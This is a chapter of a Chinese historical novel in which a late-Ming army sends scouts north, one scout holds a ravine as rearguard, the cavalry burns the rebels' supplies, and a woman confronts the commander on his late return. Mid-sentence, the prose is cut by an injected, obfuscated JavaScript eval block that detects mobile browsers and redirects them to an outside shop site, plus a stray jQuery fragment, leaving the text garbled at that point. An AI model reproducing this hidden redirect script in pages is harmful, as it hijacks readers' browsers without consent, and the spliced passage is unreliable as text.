大军北上，走得极慢。
这是王二定下的章程。每日太阳未出，大军绝不开拔；日头一偏西，便即刻择地扎营。白日里，各部之间，每隔半个时辰，便有一骑往来联络。前军斥候撒出去三十里，中军两翼各布哨探，后军押着粮车与民夫，不紧不慢地跟着。这般行法，一日走不了多少路，却稳。稳得让秦锐这般使惯了快马的人，都觉着心口发闷。
“这般走法，粮草倒是安全了。”他骑在马上，与身侧的郑虎道，“只是北边的流民，也不会停在原地等咱们。”
郑虎满不在乎地咂了咂嘴：“那不是正好。总兵，咱们这马跑得快，要不咱们先上去，捅他一家伙再说？”
秦锐横了他一眼：“你当对面是山里的兔子，由着你追？”他说完，也不再多言，只将马缰轻轻一抖，往前去了。
出了延安地界，天地便愈发荒凉。再往北走，连官道都渐渐成了碎石子路。路两旁再看不见什么像样的村落，只余些半塌的土墙和烧焦的椽子，孤零零地立在风里，像一具具被啃净了肉的旧骨架。北风从旷野上刮过来，干冷干冷的，卷着黄沙，扑在人脸上，不多时便结出一层极细极细的沙壳。秦锐将甲胄的护领又往上拢了拢，只觉着那新甲确实不同。外头风沙再大，里头仍旧稳稳当当的，像被一层极软又极韧的东西护着。
大军行至第五日，王二在中军帐中，将孙五与耿四平唤了来。
“北边三百里，你们俩，分两路去探，几日能回来？”王二开门见山。
孙五道：“若只是寻前锋踪迹，两路尽够了。可若要摸清他们的中军、粮道、乃至各营之间的呼应，两路太少。北边沟多山多，两条线撒出去，中间漏下的地界太大。”
耿四平接道：“王头领，这几日我与孙五把这北边三百里细细捋了一遍。要探得周全，至少三路。一路走西，沿着干河滩往上；一路走东，沿着山脊；还有一路，得走中。中路那边水苦沟深，道最险，可也是流民军最可能藏中军的地方。”
王二“嗯”了一声，只拿目光在两人脸上扫了一扫。
“中路，你们想荐谁？”他问。
耿四平道：“岳大鹏。这一路北来，末将与他同宿过几夜。这人对北边地势极熟，波罗堡以北，他守过。哪条沟通哪道梁，哪片林子能藏人，他心里有数。末将以为，中路交给他，成。”
孙五也道：“末将与他同队行过两日。这人做事极稳，不是那等莽撞的人。”
王二沉吟片刻，又问秦锐。秦锐只道：“我在绥德也考校过他，是个有本事的。王头领若信得过，便让他去。”
王二点了点头，命人将岳大鹏叫来，把三路哨探的部署说了，又望着他道：“中路最险，也最要紧。你可敢去？”
岳大鹏脸上没有半分波澜，只那双眼睛极沉极亮地动了一下：“末将愿去。只要末将还有一口气，中路的军情，就一定传回来。”
王二点头：“你去挑二十个精骑，今晚与孙五、耿四平一道出发。三路并行，不论哪一路先寻着敌军大营，都不许恋战，即刻回报。记住，你们是去探路的，不是去送命的。”
三人齐声应了，退出帐外。
天擦黑时，三路斥候出了营门，分作三个方向，没入了那片越来越深的夜色里。孙五走西，耿四平走东，岳大鹏居中。风从北边刮过来，把他们各自的衣袍吹得猎猎作响，像三片被风卷出去的、极轻极薄的叶子。
头两日，三路都没有消息传回。王二照旧带着大军，慢慢地、稳稳地，往北挪。
第三日深夜，耿四平那一路的人回来了两个。两个人都挂了彩，马也跑残了一匹。他们说，孙五、耿四平、岳大鹏三路人，先后摸到了流民军的前锋与中军大营，已经探明了是哪一路人马。可就在撤退时，被对方斥候撞了个正着。眼下三路人正被对方追着，边打边退，怕是撑不了太久。
王二当即升帐。秦锐、石彪、郑虎、孟九州、丁延年等一干将领全数到齐。沈知微也被请了来，坐在下首。她没说话，只把几份刚送来的粮草转运单子搁在手边，极安静地望着王二。
“是‘九条龙’。”王二道。他的声音又沉又冷，“这路人马，原先是跟着王自用干的。王自用死在晋南之后，他领了残部，又并了另外两股，如今麾下少说也有两万多能打的。带兵的是个老贼，叫马回回。此人生性狡诈，最善设伏。咱们这回，碰着硬点子了。”
秦锐眉头极轻极轻地一皱：“‘九条龙’马回回。我在绥德时也听人提过。此人打仗，从来不正面对攻，只爱断人粮道、埋伏奇袭。”
“正是。”王二点头，“所以孙五他们能活着摸出来，已是极不易了。眼下最要紧的，是接应他们回来。他们带出来的军情，比一千骑兵还值钱。”
他看向秦锐：“秦锐，你率轻骑去接应。不可恋战，把人接回来便走。能打就打，打不了就撤。明白没有？”
秦锐起身，抱拳：“明白。”
他转身便走，甲片在帐中碰出一片极清极脆的响。
与此同时，北边四十里外，鬼见愁。
耿四平与孙五也不知道，自己是怎么被逼到这条沟里来的。
这地方，耿四平只在地图上瞧过一回。岳大鹏却说，他当年在波罗堡时，曾从这条沟里逃过一次。那沟极窄，两壁黄土直上直下，高有数丈，抬头只能瞧见一道极细极细的天，像这乱世里唯一能透下来的一点光。沟底幽黑，风从深处灌出来，又冷又湿，像有无数只看不见的手，在一下一下地扯着人的衣摆。
“马不能骑了。”岳大鹏道，“全下来，牵着走。快。”
耿四平与孙五对视一眼。两人都清楚，追兵就在身后，不远。这沟里牵着马走，比蜗牛快不了多少。可若不牵马，等出了沟，上了山梁，没马也是死。眼下这局面，是条绝路。一条只能往前，不能后退的绝路。
“这沟能通到哪里？”孙五问。
“通到北山梁。上了梁，下面便是一片松树林。”岳大鹏道，“那林子密。只要进了林，咱们四散而逃，他们未必抓得住。”
耿四平“嗯”了一声。他侧耳听了听，追兵的马蹄声已经极近极近了，近得能听见那些人粗野的叫骂，和刀鞘磕在土壁上的闷响。
“他们要的是全吞。”孙五忽然道。他的声音还是轻，却带着一股子被逼到绝处时，反而愈发清醒的冷，“他们知道咱们已经瞧见了大营。不把咱们全留在这儿，他们的大营便要挪。所以他们不会轻易让咱们出沟。”
岳大鹏听了，极慢极慢地停下了脚步。
他转过身来，望着耿四平与孙五。那目光又稳又定，像这沟里经年不散的风。
“你们先走。”他说。声音不高，却把每个字都钉进了这又窄又黑的沟道里，“这沟口，我来堵。你们带着军情回去。”
耿四平的眼眶极轻极轻地颤了一下。他张了张嘴，可喉咙里像被灌了满满一把北风，又干又冷，发不出半个音节。
岳大鹏望着他，极轻极轻地笑了一下：“别他娘的给我这副哭丧脸。老子还没死呢。你们回去，见了王头领和秦总兵，替老子说一声——鬼见愁，老子守住了。”
孙五闭了闭眼。他到底没能把“好”字说出口。
岳大鹏已经转过了身。他朝着身后那几个一路跟着自己的弟兄，极低极低地道：“有愿意跟俺断后的，把刀抽出来。不愿的，跟孙五哥和耿四哥走，没人怪。”
片刻寂静。然后，有五个骑兵极慢极慢地，从后头站了出来。
岳大鹏再没回头。他只将手中的刀，极缓极缓地抽了出来。那刀身在从沟顶漏下来的那一点极淡极淡的月色里，泛着一层又冷又白的光。
“走！”他低吼。
那一吼极闷极低，像一匹被逼到绝处的老狼，从喉咙最深处迸出来的最后一声呼啸。
孙五和耿四平终于掉转了马头。他们没敢回头。那沟太窄，太黑，仿佛只消回头看一眼，这一辈子便再也走不出去了。身后，刀兵相击声、马匹嘶鸣声、人的惨叫与怒吼，层层叠叠地追上来，被越来越窄的沟壁一压，全拧成了一道极细极长的、撕心裂肺的线。
他们不知道那线是何时断的。
他们只知道，当他们牵着马，跌跌撞撞冲出沟口，钻进那片黑压压的松林时，天边已经极轻极轻地透出了一线将明未明的灰。身后，再没有追兵的声音了。
天快亮时，起雾了。那雾从松林深处极慢极慢地漫起来，又浓又白。孙五与耿四平带着人，在雾里又绕了大半夜。雾太浓，浓得连自己的手都看不清。他们只能凭着一股子直觉，朝南边一步一步地摸。等他们终于望见营盘外围那几面旗子时，天已经大亮了。
秦锐是在半道上接着他们的。
他见他们这般狼狈，什么也没问，只下马解了水囊，递到孙五手里。孙五抬头望他一眼，哑声道：“岳大鹏，留在了后头。鬼见愁。为了让我们回来。”
秦锐浑身一僵。他朝北边极远极远的地方望了好一会儿，才转回脸来，对石彪道：“你先把孙五、耿四平带回去，将所探军情报与王头领。我往北去，把岳大鹏找回来。活要见人，死……也要把尸首带回来。”
石彪急道：“你带多少人去？”
“带八百。”秦锐道，“有伤的、马乏的，全跟你回去。我这边只带能打的。”
石彪看了他好一会儿，到底没再劝，只道：“你自己当心。”
秦锐没再说话。他翻身上马，领着郑虎并八百余骑，朝北边去了。
岳大鹏还活着。
秦锐是在离鬼见愁还有五六里的一片荒坡上遇着他的。那时日头已经偏西。岳大鹏满身是血，旧军袍烂得不成样子，左肩裹着一片被血浸成黑褐色的破布，人却还站着，怀里紧紧夹着一杆断枪，一步一瘸地往南走。他身后，只跟着两个同样浑身是伤的弟兄，和一匹瘸了腿的马。
秦锐打马冲过去，翻身下马，一把扶住他。岳大鹏抬起眼，混着血丝与尘土的眼睛里，极亮极亮。
“总兵。”他费力地动了动嘴唇，“俺没死。”
秦锐喉头一滚，只重重“嗯”了一声。他命人把岳大鹏和那两个伤兵都扶上马，又对郑虎道：“后队变前队，前队作后队，我们快些回去。”
岳大鹏却在马背上挺了挺脊梁：“总兵，先别忙着回。有战机。”
秦锐一顿：“什么？”
“他们正在挪营。”岳大鹏道，那声音虽哑，却压不住里头那股子久经战阵磨出来的判断，“俺从沟里摸出来时，见他们已经开始动了。这会儿过去，正好截住他后队。打他一阵，烧他粮草，比在这里救俺一个划算得多。”
秦锐只思忖了极短极短的一瞬，道：“你可能带路？还能不能打？”
岳大鹏断枪往地上一顿：“能。”
秦锐点头。他转身，朝身后骑队道：“郑虎，你带二十个弟兄，把这两个伤兵先送回去。其余的，有伤的、马不行的，也一并跟郑虎走。身上没伤的，随我和岳大鹏去。”
郑虎还想争，被秦锐一眼瞪了回去，只得点了人，护着伤兵先去了。秦锐则带着剩下的七百余骑，跟着岳大鹏，绕了一条极偏极窄的小道，朝西边摸去。
天一寸一寸地暗下去。那支流民军的后队，果然正从一片半高的土岗下经过。松松散散的，骡马驼着粮草，喽啰扛着箱笼，在暮色里像一条又长又脏的灰蛇。秦锐将手中长枪极慢极慢地提起来，指着那灰蛇的腰腹。
“冲。”他说。只一个字。
七百余骑，便如决堤的黑水，从土岗上直泻而下。秦锐一马当先，新甲在昏暗天光里像一道劈开的电。他们不追人，只烧粮。火把一根接一根地甩出去，草车、粮袋、箱笼，登时烧成一条极长极旺的火龙，将半片天都映得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891025|212732||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
通红。
秦锐勒马回望了那片火海一眼，便下令回撤。他们不紧不慢地往回走，等回到大军营盘时，已经是后半夜了。
营门前，火把还亮着。
沈知微裹着件鸦青斗篷，就站在火光与夜色的交界处。她站得极直，像一杆插在夜色里的、极细极韧的旗。夜风将她的斗篷下摆吹得一下一下地翻。秦锐远远望见她，心里便是一紧。他万没料到，她竟会亲自等在营门口。
他打马近前，翻身下来。还未站稳，沈知微已经几大步走到了他面前。
“秦锐。”她的声音不高，甚至有些轻，可那轻底下，像压着一座极烫极烫的火山，“你知不知道现在什么时辰了？”
秦锐张了张嘴：“我……我去找岳大鹏了。”
“找岳大鹏？”沈知微的眼睛极轻极轻地眯了一下，那火光便在她眼中碎成一片，“找一个人，要找到后半夜？孙五和耿四平天没亮就回了。你倒好，带着一千人，往北边一扎就是一整天。秦锐，你知不知道我站在这营门口，从日头偏西，一直站到这会儿？你知不知道我好担心你？你答应过我什么？你答应过我，不会莽撞，不会拿命去逞能。可你呢？为了一个生死不知的人，连个口信都不送回来，就带着那么点人往北边冲。你若是也折进去了呢？你让我一个人在这里，等到什么时候去？”
她说得又急又痛，字字都像带着火。她越说越气，眼眶已经红得厉害，那泪光在火光里转着，却强撑着不肯落下来。秦锐被她问得哑口无言，只觉着心口像被人用极钝极钝的刀，一下一下地刮。他极重极重地往前迈了一步，想要去握她的手。可沈知微却在这时，极轻极轻地僵住了。
她的目光，越过秦锐的肩头，落在了他身后。
那里，几个弟兄正搀着岳大鹏，从后队慢慢走上来。岳大鹏满身是血，衣衫褴褛，脸上的血口子被火把一照，愈发显得狰狞。他显然也没料到会撞见这么一出，人僵在那里，那条使不上力的腿半悬着，整个人像尊从战场里直接搬到营门前的泥像。
沈知微望着他，满肚子的火，像被一盆冰水兜头浇下，霎时便熄了个干净。她张了张嘴，又合上，好一会儿，才极轻极轻地往后退了半步。
“岳……岳将军。”她道。声音已经低得几乎听不清了。
岳大鹏极艰难地动了动嘴唇：“沈姑娘。是我不好，耽搁了时间。您……您别怪总兵。”
沈知微垂下眼。她忽然便觉着，自己方才那一通火，发得又傻，又冤。可那些担心，又都是真的。她望着岳大鹏那满身的血，喉咙里像塞了一团浸了水的棉，怎么也发不出声来。
“是我……是我失态了。”她终于道，“岳将军，你的伤要快些处置。方才是我的不是，对不住。”
岳大鹏摇头：“姑娘担心总兵，是正理。末将明白。末将皮糙肉厚，这点伤，不碍事。”
他说着，极识趣地由着弟兄们扶了，一瘸一拐地往营里去了。沈知微望着他的背影，半晌没动。她心里又愧又臊，只觉着自己方才那阵火，真是烧得毫无道理。可再一转头，见秦锐仍站在原地，那双眼睛一瞬不瞬地望着她，里面没有半分委屈，只有满得快要溢出来的、极深极软的自责。她那点余怒，便也像被夜风一吹，散了个干净。
“我回来了。”秦锐说。声音低得像是从喉咙最深处，一点一点地捧出来的。
沈知微没说话。她只极轻极轻地，将他的手，反握住了。那力道很轻很轻，像怕一用力，便又把他攥跑了。她低着头，好半天，才极低极低地“嗯”了一声。
“回来就好。”她说。
夜已经很深了。王二还没有睡。他独坐在中军帐中，面前摊着那几份由孙五与耿四平拼死带回来的军情。
秦锐进去时，他也没有抬头，只道：“回来了？”
“回来了。”秦锐道。他走到下首坐下，又补了一句，“岳大鹏也回来了。伤得不轻，好在都是外伤。另外，我顺道把马回回后队的粮草烧了一把。他们撤到一半，叫我们冲了一阵。”
王二这才慢慢抬起头来。他望着秦锐，目光极沉，像两潭被烛火映着的深水：“我让你去接人，没让你去烧粮。”
秦锐道：“事到临头，战机就在眼前。末将若不打，才是真对不起弟兄们这一趟死里逃生。”
王二盯着他看了好一会儿。那目光里有审度，有考量，也有一丝极淡极淡的、几乎看不见的激赏。半晌，他极轻极轻地“嗯”了一声：“只此一回。打仗不能只凭一股子猛劲。”
秦锐坐正了身子，郑重道：“末将记着了。”
王二没再理这个话，只将面前那几份军情又看了一遍，才道：“马回回这一部，前锋、中军、粮道，都清楚了。这一路，孙五、耿四平、岳大鹏，都立了大功。尤其岳大鹏。他带回来的这条命，比十份军情都重。”
秦锐点头：“这人，我信得过。”
“后日。”王二道，“大军再往北推进三十里。马回回刚被烧了粮，如今正乱。他若要重新筹粮，必会往西边几个庄子去。咱们不追他。咱们往东，抄他后路。”
他说着，拿起一支朱笔，在舆图上极重极重地画了一条线。那线从他们扎营处直直往北，又折往东，绕成一道极漂亮的弧，将马回回西退的路圈了进去。
“这一次，不叫他跑了。”王二说。
秦锐望着那条朱红的线，重重地点了点头。他站起身，朝王二抱了抱拳。挑帘出去时，天边已经透出了一线极淡极淡的青。北风更冷了，从他甲缝里钻进来，像无数根极细极细的针。他立在风里，极深极深地吸了一口气。北边的天，极黑极静，像一堵望不见尽头的墙。可他知道，那墙的后面，有一条他们即将要去踏平的路。
他转过身，朝自己的营帐走去。火光在他身后，将他的影子拉得极长极长，像一条已经绷紧了弦的、随时要射出去的长箭。